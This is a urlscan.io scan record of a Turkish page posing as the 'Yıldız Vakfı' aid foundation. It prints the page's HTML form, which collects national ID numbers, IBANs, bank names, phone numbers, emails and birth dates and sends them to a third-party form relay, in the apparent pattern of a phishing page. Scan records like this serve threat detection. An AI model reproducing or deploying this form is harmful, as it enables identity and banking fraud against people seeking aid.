yldzdrngi.com Open in urlscan Pro
2606:4700:3031::ac43:bf40  Public Scan

Form analysis
1 forms found in the DOM

POST https://app.form2chat.io/f/7ad62d51

<form action="https://app.form2chat.io/f/7ad62d51" method="POST"> &gt; <div class="col-md-12">
    <label style="display: block;"><strong>TC *</strong></label>
    <input style="width: 100%;" type="text" required="" oninput="this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\..*)\./g, '$1');" maxlength="11" placeholder="T.C Kimlik Numaranızı Giriniz." name="Tc">
  </div>
  <div class="col-md-12" style="margin-top: 20px;">
    <label style="display: block;"><strong>Adınız Soyadınız *</strong></label>
    <input style="width: 100%;" type="text" required="" placeholder="Adınız Soyadınız" name="Name">
  </div>
  <div class="col-md-12" style="margin-top: 20px;">
    <label style="display: block;"><strong>Iban *</strong></label>
    <input style="width: 100%;" type="text" required="" placeholder="(Kendinize Ait Olmalıdır)" name="Iban">
  </div>
  <div class="col-md-12" style="margin-top: 20px;">
    <label style="display: block;"><strong>Banka</strong></label>
    <input style="width: 100%;" type="text" required="" placeholder="Banka Adı" name="Banka">
  </div>
  <div class="col-md-12" style="margin-top: 20px;">
    <label style="display: block;"><strong>Telefon Numaranız *</strong></label>
    <input style="width: 100%;" type="text" required="" oninput="this.value = this.value.replace(/[^0-9.]/g, '').replace(/(\..*)\./g, '$1');" maxlength="11" placeholder="Telefon Numaranız *" name="Phone">
  </div>
  <div class="col-md-12" style="margin-top: 20px;">
    <label style="display: block;"><strong>E-Posta *</strong></label>
    <input style="width: 100%;" type="text" required="" placeholder="E-Posta Adresi *" name="E-Posta">
  </div>
  <div class="col-md-12" style="margin-top: 20px;">
    <label style="display: block;"><strong>Doğum Tarihi *</strong></label>
    <input style="width: 100%;" type="text" required="" placeholder="Doğum Tarihi ''Gün.Ay.Yıl'' Örnek:01.01.1995" name="Birthday">
  </div>
  <div class="col-md-12" style="margin-top: 20px;">
    <label style="display: block;"><strong>Yardım Seçeneği</strong></label>
    <select style="width: 100%; height: 50px; padding: 20px; margin-bottom: 30px; background-color: #f8f8f8; border: 1px solid #f8f8f8; color: #000;" name="Type" class="form-control inputmask h-100">
      <option value="">Yardım Seçeneği</option>
      <option value="Kira Desteği">Kira Desteği </option>
      <option value="Burs Desteği">Burs Desteği</option>
      <option value="Sağlık Yardımı">Sağlık Yardımı</option>
    </select>
  </div>
  <label style="color: red !important;">Yasa gereği 18 yaşını doldurmuş olmalısınız. Reşit değilseniz bütün blgiler velinize ait olacak şekilde velinizin bilgileri ile başvuru yapabilirsiniz.</label>
  <br>
  <button style="display: flex; justify-content: center; align-items: center; border-radius: 10px; width: 100%; background: #f24080; height: 60px; color: #fff; font-weight: bold; margin-top: 40px;border: none;" type="submit">Başvur</button>
</form>

Text Content

 * Anasayfa
 * Hakkımızda
 * kvkk metni
 * Rıza Metni
 * Başvuru Sorgula

Başvuru Yap
Menu
 * Anasayfa
 * Hakkımızda
 * kvkk metni
 * Rıza Metni
 * Başvuru Sorgula


YILDIZ VAKFI


BAŞVURUNUZU SEÇINIZ

>
TC *
Adınız Soyadınız *
Iban *
Banka
Telefon Numaranız *
E-Posta *
Doğum Tarihi *
Yardım Seçeneği Yardım Seçeneği Kira Desteği Burs Desteği Sağlık Yardımı
Yasa gereği 18 yaşını doldurmuş olmalısınız. Reşit değilseniz bütün blgiler
velinize ait olacak şekilde velinizin bilgileri ile başvuru yapabilirsiniz.
Başvur